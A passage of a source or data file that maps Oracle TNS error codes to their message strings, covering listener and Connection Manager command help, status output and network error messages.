"TNS-00525":'Insufficient privilege for operation', 290 | "TNS-00526":'No caller (false async event)', 291 | "TNS-00527":'Protocol Adapter not loadable', 292 | "TNS-00528":'Protocol Adapter not loaded', 293 | "TNS-00530":'Protocol adapter error', 294 | "TNS-00532":'No previous async operation to wait on', 295 | "TNS-00533":'Connection dissolved or not yet made', 296 | "TNS-00534":'Failed to grant connection ownership to child', 297 | "TNS-00535":'Failed to send or receive disconnect message', 298 | "TNS-00536":'Connection entered inappropriate state', 299 | "TNS-00537":'Index into protocol adapter table is out of legal range', 300 | "TNS-00539":'Network or Protocol services are down', 301 | "TNS-00540":'SSL protocol adapter failure', 302 | "TNS-00541":'underlying transport does not exist.', 303 | "TNS-00542":'SSL Handshake failed', 304 | "TNS-00543":'internal error', 305 | "TNS-00544":'unsupported operation', 306 | "TNS-00545":'parameter retrieval failure', 307 | "TNS-00546":'control failure', 308 | "TNS-00547":'user information retrieval failed', 309 | "TNS-00548":'value specified for client authentication parameter is not boolean', 310 | "TNS-00549":'value specified for the SSL version is not valid', 311 | "TNS-00550":'disconnection error', 312 | "TNS-00551":'underlying transport connection failed', 313 | "TNS-00552":'no valid cipher suites were specified', 314 | "TNS-00553":'read failed', 315 | "TNS-00554":'write failed', 316 | "TNS-00555":'no directory specified for wallet resource locator', 317 | "TNS-00556":'no method specified for wallet retrieval', 318 | "TNS-00557":'unsupported wallet retrieval method', 319 | "TNS-00558":'Entrust login failed', 320 | "TNS-00559":'load of Entrust certificate failed', 321 | "TNS-00560":'extraction of name from Entrust certificate failed', 322 | "TNS-00580":'Read failed due to closed or invalid transport connection', 323 | "TNS-00581":'Send failed due to timeout', 324 | "TNS-00582":'Receive failed due to timeout', 325 | "TNS-00583":'Valid node checking: unable to parse configuration parameters', 326 | "TNS-00584":'Valid node checking configuration error', 327 | "TNS-01000":'spawn [] [<(ARGUMENTS="arg0, arg1,...")>]', 328 | "TNS-01001":'start [] : start listener', 329 | "TNS-01002":'stop [] : stop listener', 330 | "TNS-01003":'status [] : get the status of listener', 331 | "TNS-01004":'reload [] : reload the parameter files and SIDs', 332 | "TNS-01005":'trace OFF | USER | ADMIN | SUPPORT [] : set tracing to the specified level', 333 | "TNS-01006":'set password : set the password for subsequent calls', 334 | "TNS-01007":'quit | exit : exit LSNRCTL', 335 | "TNS-01008":'version [] : get the version information of the listener', 336 | "TNS-01009":'service [] : get the service information of the listener', 337 | "TNS-01013":'set|show trc_{ } []: set|show trace parameters of current listener', 338 | "TNS-01014":'set|show log_{ } []: set|show log parameters of current listener', 339 | "TNS-01015":'set|show parm_name []: sets|shows current listener parm values', 340 | "TNS-01016":'change_password []: changes the password of the listener', 341 | "TNS-01017":'set|show current_listener []: sets|shows current listener', 342 | "TNS-01018":'save_config []: saves configuration changes to parameter file', 343 | "TNS-01019":'set rawmode ON | OFF: set output mode for services and status commands', 344 | "TNS-01020":'STATUS of the LISTENER', 345 | "TNS-01021":'------------------------', 346 | "TNS-01022":'Alias string', 347 | "TNS-01023":'Version string', 348 | "TNS-01024":'Trace Level string', 349 | "TNS-01025":'Security string', 350 | "TNS-01026":'Start Date string', 351 | "TNS-01027":'Listener Trace File string', 352 | "TNS-01028":'Listener Log File string', 353 | "TNS-01029":'Services Summary...', 354 | "TNS-01030":'The listener supports no services', 355 | "TNS-01033":'Listener Parameter File string', 356 | "TNS-01034":'Uptime number days number hr. number min. number sec', 357 | "TNS-01036":'%s established:string refused:string', 358 | "TNS-01037":'"string" established:string refused:string', 359 | "TNS-01038":'%s established:string refused:string current:string max:string state:string', 360 | "TNS-01039":'%s has string service handler(s)', 361 | "TNS-01040":'SNMP string', 362 | "TNS-01041":'%s parameter "string" set to string', 363 | "TNS-01042":'Current Listener is string', 364 | "TNS-01043":'Password changed for string', 365 | "TNS-01044":'%s(Registered) has string service handler(s)', 366 | "TNS-01045":'%s(Not Registered) has string service handler(s)', 367 | "TNS-01046":'Saved string configuration parameters.', 368 | "TNS-01047":'Old Parameter File string', 369 | "TNS-01048":'No changes to save for string.', 370 | "TNS-01049":'%s (string) has string service handler(s)', 371 | "TNS-01050":'%s', 372 | "TNS-01052":'The command completed successfully', 373 | "TNS-01053":'Connecting to string', 374 | "TNS-01054":'Contacted the listener successfully', 375 | "TNS-01055":'Successfully stopped the listener', 376 | "TNS-01057":'Program name: string', 377 | "TNS-01058":'Arguments : string', 378 | "TNS-01059":'Environment : string', 379 | "TNS-01060":'The password has has been set to: string', 380 | "TNS-01061":'The password has not been set', 381 | "TNS-01062":'The db subagent is already running.', 382 | "TNS-01063":'The db subagent is not started.', 383 | "TNS-01064":'Listener configuration changes will not be persistent', 384 | "TNS-01065":'Raw mode is string', 385 | "TNS-01066":'Presentation: string', 386 | "TNS-01067":'Service display mode is string', 387 | "TNS-01070":'Starting string: please wait...', 388 | "TNS-01071":'%s is set to string', 389 | "TNS-01072":'Started at string', 390 | "TNS-01073":'Listening on: string', 391 | "TNS-01074":'Error listening on: string', 392 | "TNS-01075":'Opened log file: string', 393 | "TNS-01076":'Opened trace file: string', 394 | "TNS-01077":'Opened parameter file: string', 395 | "TNS-01078":'Opened name lookup file: string', 396 | "TNS-01079":'Attempted to bequeath: string', 397 | "TNS-01080":'Listener failed to start. See the error message(s) above...', 398 | "TNS-01081":'Started with pid=string', 399 | "TNS-01082":'Running in PROXY mode', 400 | "TNS-01090":'No longer listening on: string', 401 | "TNS-01093":'%s * string * number', 402 | "TNS-01094":'%s * number', 403 | "TNS-01095":'%s * string * string * number', 404 | "TNS-01096":'%s * string * string * string * string * number', 405 | "TNS-01097":'TIMESTAMP * CONNECT DATA [* PROTOCOL INFO] * EVENT [* SID] * RETURN CODE', 406 | "TNS-01098":'TIMESTAMP * CONNECT DATA * ADDRESS * [PRESENTATION *] COMMAND * ERROR TIMESTAMP * [INSTANCE NAME *] [ADDRESS *] [PRESENTATION *] COMMAND * ERROR -------------------------------------------------------------------------------', 407 | "TNS-01099":'%s * string * string * string * number', 408 | "TNS-01100":'TNS returned error number when attempting to start the listener', 409 | "TNS-01101":'Could not find service name string', 410 | "TNS-01102":'TNS application contacted was not the listener', 411 | "TNS-01103":'Protocol specific component of the address is incorrectly specified', 412 | "TNS-01106":'Listener using listener name string has already been started', 413 | "TNS-01107":'A valid trace level was not specified', 414 | "TNS-01108":'Listener password prompt failed', 415 | "TNS-01109":'Listener password encryption failed', 416 | "TNS-01110":'Mismatch - password unchanged', 417 | "TNS-01111":'Log status can either be ON or OFF', 418 | "TNS-01112":'Plug and play can either be ON or OFF', 419 | "TNS-01113":'save_config_on_stop can either be ON or OFF', 420 | "TNS-01114":'LSNRCTL could not perform local OS authentication with the listener', 421 | "TNS-01115":'OS error string creating shared memory segment of string bytes with key string', 422 | "TNS-01116":'Listener alias name given as connect identifier is too long', 423 | "TNS-01150":'The address of the specified listener name is incorrect', 424 | "TNS-01151":'Missing listener name, string, in LISTENER.ORA', 425 | "TNS-01152":'All addresses specified for the listener name, string, failed', 426 | "TNS-01153":'Failed to process string: string', 427 | "TNS-01154":'SID detected in old format that is no longer supported', 428 | "TNS-01155":'Incorrectly specified SID_LIST_string parameter in LISTENER.ORA', 429 | "TNS-01156":'Missing or inappropriate PROTOCOL, TIMEOUT or POOL_SIZE parameter from PRESPAWN_DESC', 430 | "TNS-01157":'Can only listen on number addresses - ignoring string', 431 | "TNS-01158":'Internal connection limit reached, preventing dispatcher from connecting', 432 | "TNS-01159":'Internal connection limit has been reached; listener has shut down', 433 | "TNS-01160":'Trace level was not specified', 434 | "TNS-01161":'Spawn alias string was not found. Check listener parameter file', 435 | "TNS-01162":'Syntax error in the address resolved from the spawn alias: string', 436 | "TNS-01163":'Failed to spawn process: string', 437 | "TNS-01164":'No spawn alias sent to listener', 438 | "TNS-01165":'Spawn alias has no program name set in it', 439 | "TNS-01167":'The command string is not supported by the listener contacted', 440 | "TNS-01168":'Cannot allocate memory', 441 | "TNS-01169":'The listener has not recognized the password', 442 | "TNS-01170":'Event detection broke for address: string', 443 | "TNS-01171":'Event detection broke for dispatcher: string', 444 | "TNS-01172":'Listener has shut down since all listen addresses have been deallocated', 445 | "TNS-01173":'Missing or inappropriate PRESPAWN_MAX parameter from SID_DESC', 446 | "TNS-01174":'The sum of the POOL_SIZEs from each PRESPAWN_DESC is greater than the PRESPAWN_MAX', 447 | "TNS-01175":'Password unchanged', 448 | "TNS-01176":'Error in loading the new parameter value', 449 | "TNS-01177":'Log Status is OFF. Log file/directory unchanged', 450 | "TNS-01178":'Trace Level is 0. Trace file/directory unchanged', 451 | "TNS-01179":'Listener cannot load instance class "string"', 452 | "TNS-01180":'Missing listener object string in Directory Server', 453 | "TNS-01181":'Internal registration connection limit reached', 454 | "TNS-01182":'Listener rejected registration of service "string"', 455 | "TNS-01183":'Listener rejected registration or update of instance "string"', 456 | "TNS-01184":'Listener rejected registration or update of service handler "string"', 457 | "TNS-01185":'Registration attempted from a remote node', 458 | "TNS-01186":'Client connection was dropped based on a filtering rule', 459 | "TNS-01187":'No proxy service handler available', 460 | "TNS-01188":'Listener cannot operate with incompatible transport protocols', 461 | "TNS-01189":'The listener could not authenticate the user', 462 | "TNS-01190":'The user is not authorized to execute the requested listener command', 463 | "TNS-01191":'Failed to initialize the local OS authentication subsystem', 464 | "TNS-01192":'Missing SID_LIST_ value left of equation for SID description in LISTENER.ORA', 465 | "TNS-01200":'The listener must be suid root', 466 | "TNS-01201":'Listener cannot find executable string for SID string', 467 | "TNS-01202":'Missing the dba group (string) specified by DBA_GROUP in SID_DESC', 468 | "TNS-01203":'Missing the account (string) specified by DEFAULT_USER_ACCOUNT in SID_DESC', 469 | "TNS-01204":'Unprivileged account (string) is in dba group (string)', 470 | "TNS-01300":'ERROR at string', 471 | "TNS-01301":'TNS error structure:', 472 | "TNS-01302":'nr err code: number', 473 | "TNS-01303":'ns main err code: number', 474 | "TNS-01304":'ns secondary err code: number', 475 | "TNS-01305":'nt main err code: number', 476 | "TNS-01306":'nt secondary err code: number', 477 | "TNS-01307":'nt OS err code: number', 478 | "TNS-01400":'Instance "string" has number handlers.', 479 | "TNS-01401":'Class: string', 480 | "TNS-01402":'TYPE: string', 481 | "TNS-01403":'Load: string', 482 | "TNS-01404":'Max Load: string', 483 | "TNS-01405":'Host: string', 484 | "TNS-01406":'ID: string', 485 | "TNS-01407":'Status: string Total handlers: string Relevant handlers: string', 486 | "TNS-01408":'Instance "string", status string, has string handler(s) for this service...', 487 | "TNS-01409":'Instance "string"', 488 | "TNS-01410":'Service "string" has number instances.', 489 | "TNS-01411":'Service "string" has number instance(s).', 490 | "TNS-01412":'Handler(s):', 491 | "TNS-01413":'"string" established:string refused:string current:string max:string state:string', 492 | "TNS-01414":'"string", state string, established string, refused string, current string, max string', 493 | "TNS-01415":'Listening Endpoints Summary...', 494 | "TNS-01416":'Process ID string', 495 | "TNS-01417":'"string" established:string refused:string state:string', 496 | "TNS-01418":'Proxy service "string" has number instance(s).', 497 | "TNS-01420":'Presentation: string', 498 | "TNS-01421":'Session: string', 499 | "TNS-01441":'Number of filtering rules currently in effect: number', 500 | "TNS-01442":'No filtering rules currently in effect.', 501 | "TNS-02020":'set displaymode RAW | COMPAT | NORMAL | VERBOSE: output mode for lsnrctl display', 502 | "TNS-02021":'DIRECT_HANDOFF can be either ON or OFF.', 503 | "TNS-02022":'show rules: Show rules that are currently in effect', 504 | "TNS-02401":'gbname string too long, allowed number characters', 505 | "TNS-02402":'Bad CLBGNAMES parameter in tnsnames.ora', 506 | "TNS-02403":'Bad alias string or alias not present in tnsnames.ora', 507 | "TNS-02404":'Service string contains no local handlers', 508 | "TNS-02405":'GMS call failed, check GMS logs.', 509 | "TNS-02501":'Authentication: no more roles', 510 | "TNS-02502":'Authentication: unable to find initialization function', 511 | "TNS-02503":'Parameter retrieval failed', 512 | "TNS-02504":'Parameter count retrieval failed', 513 | "TNS-02505":'Authentication: null context pointer provided', 514 | "TNS-02506":'Authentication: no type string', 515 | "TNS-02507":'Encryption: algorithm not installed', 516 | "TNS-02508":'Encryption: server negotiation response in error', 517 | "TNS-02509":'Authentication: invalid process state', 518 | "TNS-02510":'Invalid numeric data type', 519 | "TNS-02511":'Invalid data type', 520 | "TNS-02512":'Invalid status received', 521 | "TNS-02513":'Requested data type does not match retrieved type', 522 | "TNS-02514":'Invalid packet received', 523 | "TNS-02515":'Encryption/crypto-checksumming: unknown control type', 524 | "TNS-02516":'No data available', 525 | "TNS-02517":'key smaller than requested size', 526 | "TNS-02518":'key negotiation error', 527 | "TNS-02519":'no appropriate key-negotiation parameters', 528 | "TNS-02520":'encryption/crypto-checksumming: no Diffie-Hellman seed', 529 | "TNS-02521":'encryption/crypto-checksumming: Diffie-Hellman seed too small', 530 | "TNS-02524":'Authentication: privilege check failed', 531 | "TNS-02525":'encryption/crypto-checksumming: self test failed', 532 | "TNS-02526":'server proxy type does not match client type', 533 | "TNS-03501":'OK', 534 | "TNS-03502":'Insufficient arguments. Usage: tnsping
[]', 535 | "TNS-03503":'Could not initialize NL', 536 | "TNS-03504":'Service name too long', 537 | "TNS-03505":'Failed to resolve name', 538 | "TNS-03506":'Failed to create address binding', 539 | "TNS-03507":'Failure looking for ADDRESS keyword', 540 | "TNS-03508":'Failed to create address string', 541 | "TNS-03509":'OK (number msec)', 542 | "TNS-03510":'Failed due to I/O error', 543 | "TNS-03511":'Used parameter files: string', 544 | "TNS-03512":'Used string adapter to resolve the alias', 545 | "TNS-03601":'Failed in route information collection', 546 | "TNS-03602":'Insufficient arguments. Usage: trcroute
', 547 | "TNS-03603":'Encountered a node with a version eariler than SQL*Net 2.3', 548 | "TNS-04001":'%s', 549 | "TNS-04002":'The command completed successfully.', 550 | "TNS-04003":'Syntax Error.', 551 | "TNS-04004":'Unable to encrypt the supplied password.', 552 | "TNS-04005":'Unable to resolve address for string.', 553 | "TNS-04006":'Invalid password', 554 | "TNS-04007":'Internal error number.', 555 | "TNS-04008":'%-25s | string', 556 | "TNS-04009":'%-25s | number', 557 | "TNS-04010":'Command cannot be issued before the ADMINISTER command.', 558 | "TNS-04011":'Oracle Connection Manager instance not yet started.', 559 | "TNS-04012":'Unable to start Oracle Connection Manager instance.', 560 | "TNS-04013":'CMCTL timed out waiting for Oracle Connection Manager to start', 561 | "TNS-04014":'Current instance string is already started', 562 | "TNS-04015":'Current instance string is not yet started', 563 | "TNS-04016":'Connecting to string', 564 | "TNS-04017":'Please wait. Shutdown in progress.', 565 | "TNS-04018":'Instance already started', 566 | "TNS-04019":'Starting Oracle Connection Manager instance string. Please wait...', 567 | "TNS-04020":'CMCTL Version: number.number.number.number.number', 568 | "TNS-04021":'The SET command is unsuccessful for parameter string.', 569 | "TNS-04022":'%s parameter string set to string.', 570 | "TNS-04023":'Command failed.', 571 | "TNS-04031":'CMCTL: internal NT error', 572 | "TNS-04032":'CMCTL: internal NS error', 573 | "TNS-04033":'CMCTL: internal NL error', 574 | "TNS-04034":'CMCTL: internal NFP error', 575 | "TNS-04035":'CMCTL: error while constructing full file name', 576 | "TNS-04036":'CMCTL: error reading from Connection Manager error files', 577 | "TNS-04037":'Connections refer to string.', 578 | "TNS-04038":'CMCTL: Poorly formed address or command string', 579 | "TNS-04039":'CMCTL: error while spawning a process', 580 | "TNS-04040":'CMCTL: failed to initialize trace context- Continuing anyway', 581 | "TNS-04041":'CMCTL: Connection Manager already running. Start operation cancelled', 582 | "TNS-04042":'CMCTL: Connection Manager Admin already running. Start operation cancelled', 583 | "TNS-04043":'The Connection Manager has active connections. Do you still want to stop it (y/n)?', 584 | "TNS-04044":'Specified gateways do not exist.', 585 | "TNS-04045":'Invalid specification of time', 586 | "TNS-04046":'Invalid specification for source', 587 | "TNS-04047":'Invalid specification for destination', 588 | "TNS-04048":'Specified service does not exist.', 589 | "TNS-04049":'Specified connections do not exist', 590 | "TNS-04050":'Invalid specification for gateway ID.', 591 | "TNS-04060":'CMCTL: Bad command: only the STATUS command can be used on remote Connection Manager', 592 | "TNS-04061":'CMCTL: Bad command or syntax error: You must specify a trace level', 593 | "TNS-04062":'CMCTL: Bad command or syntax error: For help type help/h/?', 594 | "TNS-04063":'Remote administration disabled in the Oracle Connection Manager instance.', 595 | "TNS-04064":'The number of CMCTL sessions exceeds MAX_CMCTL_SESSIONS.', 596 | "TNS-04065":'The number of remote CMCTL sessions exceeds (MAX_CMCTL_SESSIONS-1)', 597 | "TNS-04066":'The following log events can be enabled or disabled:', 598 | "TNS-04067":'Number of connections: number.', 599 | "TNS-04068":'Cannot start an Oracle Connection Manager instance remotely.', 600 | "TNS-04069":'Sleeping for number seconds...', 601 | "TNS-04070":'Cannot administer a remote Oracle Connection Manager instance which is not yet started.', 602 | "TNS-04071":'Connections closed successfully. Number closed: number.', 603 | "TNS-04072":'Unable to suspend atleast one of the gateways.', 604 | "TNS-04073":'Passwords do not match.', 605 | "TNS-04074":'Invalid value for the parameter string.', 606 | "TNS-04075":'Cannot use ADMINISTER directly from the command line.', 607 | "TNS-04076":'Invalid specification for state.', 608 | "TNS-04077":'WARNING: No password set for the Oracle Connection Manager instance.', 609 | "TNS-04078":'Unable to resume atleast one of the gateways.', 610 | "TNS-04079":'Cannot administer Oracle Connection Manager with no CMAN.ORA, and port = number.', 611 | "TNS-04080":'Failed to reload', 612 | "TNS-04081":'Event groups:', 613 | "TNS-04082":'%s event string set to string.', 614 | "TNS-04083":'Failed to save password', 615 | "TNS-04084":'WARNING: Non-reloadable parameters have retained their values.', 616 | "TNS-04085":'Password not changed since last save.', 617 | "TNS-04086":'Invalid value for the event string.', 618 | "TNS-04087":'Unable to shutdown atleast one of the gateways.', 619 | "TNS-04088":'Unable to close atleast one of the connections.', 620 | "TNS-04089":'Alias name too long.', 621 | "TNS-04090":'string', 622 | "TNS-04091":'accept_connections [ON|OFF] : acc/deny subsequent connections (default is ON)', 623 | "TNS-04092":'show address : displays address list CMAN is listening on', 624 | "TNS-04093":'show ALL : displays all information about current CMAN', 625 | "TNS-04094":'set authentication_level [0|1]: default is 0', 626 | "TNS-04095":'change_password [] : changes the password of the CMAN', 627 | "TNS-04096":'close_relay {number | ALL} : forces relay(s) to be shut down', 628 | "TNS-04097":'set|show current_cman []: sets|shows current CMAN', 629 | "TNS-04098":'set|show displaymode [COMPAT|VERB] : sets|shows display mode', 630 | "TNS-04099":'set log_level [0-4] : default is 0', 631 | "TNS-04100":'set password : set the password for subsequent calls', 632 | "TNS-04101":'show profile : shows the parameter profile of the current CMAN', 633 | "TNS-04102":'set relay_statistics [ON|OFF] : default is OFF', 634 | "TNS-04103":'show relay {number|ACTive}: shows the status of relay(s) in the current CMAN', 635 | "TNS-04104":'reload_rules : re-reads rule list from profile', 636 | "TNS-04105":'set|show remote_admin ON|OFF : sets|shows remote administration capability', 637 | "TNS-04106":'show rules : shows rule list used by current CMAN for connection filtering', 638 | "TNS-04107":'save_config [] : saves configuration changes to parameter file', 639 | "TNS-04108":'shutdown [NORMAL|ABORT] [cman] : stops CMAN in NORMAL or ABORT modes', 640 | "TNS-04109":'start [cm|adm|cman] : starts selected CMAN process(es)', 641 | "TNS-04110":'stats [cm|cman] : shows connection statistics', 642 | "TNS-04111":'status [cm|adm|cman] : shows current status of selected CMAN process(es)', 643 | "TNS-04112":'stop [cm|adm|cman] : stops CMAN process(es) interactively', 644 | "TNS-04113":'stopnow [cm|adm|cman] : aborts CMAN process(es)', 645 | "TNS-04114":'set TNS_info [ON|OFF] : turns on/off TNS logging (default is off)', 646 | "TNS-04115":'set trc_level [] : sets trace level of current CMAN', 647 | "TNS-04116":'version [cman] : displays CMAN version information', 648 | "TNS-04117":'show _dev_info : shows detailed device information about the relay', 649 | "TNS-04118":'quit | exit : exits CMCTL', 650 | "TNS-04119":'CMAN password encryption failed', 651 | "TNS-04120":'Current CMAN is string', 652 | "TNS-04121":'The command completed successfully', 653 | "TNS-04122":'CMAN state not running', 654 | "TNS-04123":'ADMIN state not running', 655 | "TNS-04124":'Current display mode is string', 656 | "TNS-04125":'The command was unsuccessful', 657 | "TNS-04126":'string Version string', 658 | "TNS-04127":'Connecting to string', 659 | "TNS-04128":'STATUS of the string', 660 | "TNS-04129":'Start-up time string', 661 | "TNS-04130":'Current state string', 662 | "TNS-04131":'Starting string: please wait...', 663 | "TNS-04132":'STATISTICS of CMAN', 664 | "TNS-04133":'Total number of connections handled string', 665 | "TNS-04134":'Number of currently active relays string', 666 | "TNS-04135":'Peak active relays string', 667 | "TNS-04136":'Total refusals due to max_relays exceeded string', 668 | "TNS-04137":'Total number of connections refused string', 669 | "TNS-04139":'Profile of the CMAN', 670 | "TNS-04140":'Migration completed successfully.', 671 | "TNS-04141":'Unable to find CMAN.ORA file.', 672 | "TNS-04142":'CMAN.ORA file has an invalid format.', 673 | "TNS-04143":'Unable to write the new CMAN.ORA file.', 674 | "TNS-04144":'Nothing to migrate', 675 | "TNS-04145":'ANSWER_TIMEOUT = string', 676 | "TNS-04146":'MAXIMUM_CONNECT_DATA = string', 677 | "TNS-04147":'USE_ASYNC_CALL = string', 678 | "TNS-04148":'TRACING = string', 679 | "TNS-04149":'TRACE_DIRECTORY = string', 680 | "TNS-04150":'MAX_FREELIST_BUFFERS = string', 681 | "TNS-04151":'REMOTE_ADMIN = string', 682 | "TNS-04152":'Relay Information', 683 | "TNS-04153":'Relay number string', 684 | "TNS-04154":'Src string', 685 | "TNS-04155":'Dest string', 686 | "TNS-04156":'Number of IN bytes string', 687 | "TNS-04157":'Number of IN packets string', 688 | "TNS-04158":'Number of IN DCD probes string', 689 | "TNS-04159":'Number of OUT bytes string', 690 | "TNS-04160":'Number of OUT packets string', 691 | "TNS-04161":'Number of OUT DCD probes string', 692 | "TNS-04162":'Address List', 693 | "TNS-04163":'Active Relays', 694 | "TNS-04164":'Rule List', 695 | "TNS-04165":'Relay is not active', 696 | "TNS-04201":'Trace Assistant Usage ERROR: Missing File name', 697 | "TNS-04202":'Trace Assistant Usage ERROR: Not enough arguments', 698 | "TNS-04203":'Trace Assistant Usage ERROR: Invalid options', 699 | "TNS-04204":'Trace Assistant Internal ERROR: Couldn"t Open trace file', 700 | "TNS-04205":'Trace Assistant Internal ERROR: Memory', 701 | "TNS-04206":'Trace Assistant Internal ERROR: Packet Type', 702 | "TNS-04207":'Trace Assistant Internal ERROR: Packet Length', 703 | "TNS-04208":'Trace Assistant Internal ERROR: Fatal', 704 | "TNS-04209":'Trace Assistant Internal ERROR: Type Error', 705 | "TNS-04210":'Trace Assistant Internal ERROR: End of File', 706 | "TNS-04211":'Trace Assistant Internal ERROR: CORE', 707 | "TNS-04212":'Trace Assistant Internal ERROR: NACOM Type Error', 708 | "TNS-04231":'Trace Assistant WARNING: Assuming Oracle trace format', 709 | "TNS-04232":'Trace Assistant WARNING: Not retrieving all rows', 710 | "TNS-04233":'Trace Assistant WARNING: Going beyond Packet length', 711 | "TNS-04234":'Trace Assistant WARNING: won"t decode TTC', 712 | "TNS-04235":'Trace Assistant WARNING: Unknown TTC protocol', 713 | "TNS-12150":'TNS:unable to send data', 714 | "TNS-12151":'TNS:received bad packet type from network layer', 715 | "TNS-12152":'TNS:unable to send break message', 716 | "TNS-12153":'TNS:not connected', 717 | "TNS-12154":'TNS:could not resolve the connect identifier specified', 718 | "TNS-12155":'TNS:received bad datatype in NSWMARKER packet', 719 | "TNS-12156":'TNS:tried to reset line from incorrect state', 720 | "TNS-12157":'TNS:internal network communication error', 721 | "TNS-12158":'TNS:could not initialize parameter subsystem', 722 | "TNS-12159":'TNS:trace file not writeable', 723 | "TNS-12160":'TNS:internal error: Bad error number', 724 | "TNS-12161":'TNS:internal error: partial data received', 725 | "TNS-12162":'TNS:net service name is incorrectly specified', 726 | "TNS-12163":'TNS:connect descriptor is too long', 727 | "TNS-12164":'TNS:Sqlnet.fdf file not present', 728 | "TNS-12165":'TNS:Trying to write trace file into swap space.', 729 | "TNS-12166":'TNS:Client can not connect to HO agent.', 730 | "TNS-12168":'TNS:Unable to contact LDAP Directory Server', 731 | "TNS-12169":'TNS:Net service name given as connect identifier is too long', 732 | "TNS-12170":'TNS:Connect timeout occurred', 733 | "TNS-12171":'TNS:could not resolve connect identifier: string', 734 | "TNS-12196":'TNS:received an error from TNS', 735 | "TNS-12197":'TNS:keyword-value resolution error', 736 | "TNS-12198":'TNS:could not find path to destination', 737 | "TNS-12200":'TNS:could not allocate memory', 738 | "TNS-12201":'TNS:encountered too small a connection buffer', 739 | "TNS-12202":'TNS:internal navigation error', 740 | "TNS-12203":'TNS:unable to connect to destination', 741 | "TNS-12204":'TNS:received data refused from an application', 742 | "TNS-12205":'TNS:could not get failed addresses', 743 | "TNS-12206":'TNS:received a TNS error during navigation', 744 | "TNS-12207":'TNS:unable to perform navigation', 745 | "TNS-12208":'TNS:could not find the TNSNAV.ORA file', 746 | "TNS-12209":'TNS:encountered uninitialized global', 747 | "TNS-12210":'TNS:error in finding Navigator data', 748 | "TNS-12211":'TNS:needs PREFERRED_CMANAGERS entry in TNSNAV.ORA', 749 | "TNS-12212":'TNS:incomplete PREFERRED_CMANAGERS binding in TNSNAV.ORA', 750 | "TNS-12213":'TNS:incomplete PREFERRED_CMANAGERS binding in TNSNAV.ORA', 751 | "TNS-12214":'TNS:missing local communities entry in TNSNAV.ORA', 752 | "TNS-12215":'TNS:poorly formed PREFERRED_NAVIGATORS Addresses in TNSNAV.ORA', 753 | "TNS-12216":'TNS:poorly formed PREFERRED_CMANAGERS addresses in TNSNAV.ORA', 754 | "TNS-12217":'TNS:could not contact PREFERRED_CMANAGERS in TNSNAV.ORA', 755 | "TNS-12218":'TNS:unacceptable network configuration data', 756 | "TNS-12219":'TNS:missing community name from address in ADDRESS_LIST', 757 | "TNS-12221":'TNS:illegal ADDRESS parameters', 758 | "TNS-12222":'TNS:no support is available for the protocol indicated', 759 | "TNS-12223":'TNS:internal limit restriction exceeded', 760 | "TNS-12224":'TNS:no listener', 761 | "TNS-12225":'TNS:destination host unreachable', 762 | "TNS-12226":'TNS:operating system resource quota exceeded', 763 | "TNS-12227":'TNS:syntax error', 764 | "TNS-12228":'TNS:protocol adapter not loadable', 765 | "TNS-12229":'TNS:Interchange has no more free connections', 766 | "TNS-12230":'TNS:Severe Network error occurred in making this connection', 767 | "TNS-12231":'TNS:No connection possible to destination', 768 | "TNS-12232":'TNS:No path available to destination', 769 | "TNS-12233":'TNS:Failure to accept a connection', 770 | "TNS-12234":'TNS:Redirect to destination', 771 | "TNS-12235":'TNS:Failure to redirect to destination', 772 | "TNS-12236":'TNS:protocol support not loaded', 773 | "TNS-12500":'TNS:listener failed to start a dedicated server process', 774 | "TNS-12502":'TNS:listener received no CONNECT_DATA from client', 775 | "TNS-12504":'TNS:listener was not given the SID in CONNECT_DATA', 776 | "TNS-12505":'TNS:listener does not currently know of SID given in connect descriptor', 777 | "TNS-12508":'TNS:listener could not resolve the COMMAND given', 778 | "TNS-12509":'TNS:listener failed to redirect client to service handler', 779 | "TNS-12510":'TNS:database temporarily lacks resources to handle the request', 780 | "TNS-12511":'TNS:service handler found but it is not accepting connections', 781 | "TNS-12512":'TNS:service handler found but it has not registered a redirect address', 782 | "TNS-12513":'TNS:service handler found but it has registered for a different protocol', 783 | "TNS-12514":'TNS:listener does not currently know of service requested in connect descriptor', 784 | "TNS-12515":'TNS:listener could not find a handler for this presentation', 785 | "TNS-12516":'TNS:listener could not find available handler with matching protocol stack', 786 | "TNS-12517":'TNS:listener could not find service handler supporting direct handoff', 787 | "TNS-12518":'TNS:listener could not hand off client connection', 788 | "TNS-12519":'TNS:no appropriate service handler found', 789 | "TNS-12520":'TNS:listener could not find available handler for requested type of server', 790 | "TNS-12521":'TNS:listener does not currently know of instance requested in connect descriptor', 791 | "TNS-12522":'TNS:listener could not find available instance with given INSTANCE_ROLE', 792 | "TNS-12523":'TNS:listener could not find instance appropriate for the client connection', 793 | "TNS-12524":'TNS:listener could not resolve HANDLER_NAME given in connect descriptor', 794 | "TNS-12525":'TNS:listener has not received client"s request in time allowed', 795 | "TNS-12526":'TNS:listener: all appropriate instances are in restricted mode', 796 | "TNS-12527":'TNS:listener: all instances are in restricted mode or blocking new connections', 797 | "TNS-12528":'TNS:listener: all appropriate instances are blocking new connections', 798 | "TNS-12529":'TNS:connect request rejected based on current filtering rules', 799 | "TNS-12531":'TNS:cannot allocate memory', 800 | "TNS-12532":'TNS:invalid argument', 801 | "TNS-12533":'TNS:illegal ADDRESS parameters', 802 | "TNS-12534":'TNS:operation not supported', 803 | "TNS-12535":'TNS:operation timed out', 804 | "TNS-12536":'TNS:operation would block', 805 | "TNS-12537":'TNS:connection closed', 806 | "TNS-12538":'TNS:no such protocol adapter', 807 | "TNS-12539":'TNS:buffer over- or under-flow', 808 | "TNS-12540":'TNS:internal limit restriction exceeded', 809 | "TNS-12541":'TNS:no listener', 810 | "TNS-12542":'TNS:address already in use', 811 | "TNS-12543":'TNS:destination host unreachable', 812 | "TNS-12544":'TNS:contexts have different wait/test functions', 813 | "TNS-12545":'Connect failed because target host or object does not exist', 814 | "TNS-12546":'TNS:permission denied', 815 | "TNS-12547":'TNS:lost contact', 816 | "TNS-12548":'TNS:incomplete read or write', 817 | "TNS-12549":'TNS:operating system resource quota exceeded', 818 | "TNS-12550":'TNS:syntax error', 819 | "TNS-12551":'TNS:missing keyword', 820 | "TNS-12552":'TNS:operation was interrupted', 821 | "TNS-12554":'TNS:current operation is still in progress', 822 | "TNS-12555":'TNS:permission denied', 823 | "TNS-12556":'TNS:no caller', 824 | "TNS-12557":'TNS:protocol adapter not loadable', 825 | "TNS-12558":'TNS:protocol adapter not loaded', 826 | "TNS-12560":'TNS:protocol adapter error', 827 | "TNS-12561":'TNS:unknown error', 828 | "TNS-12562":'TNS:bad global handle', 829 | 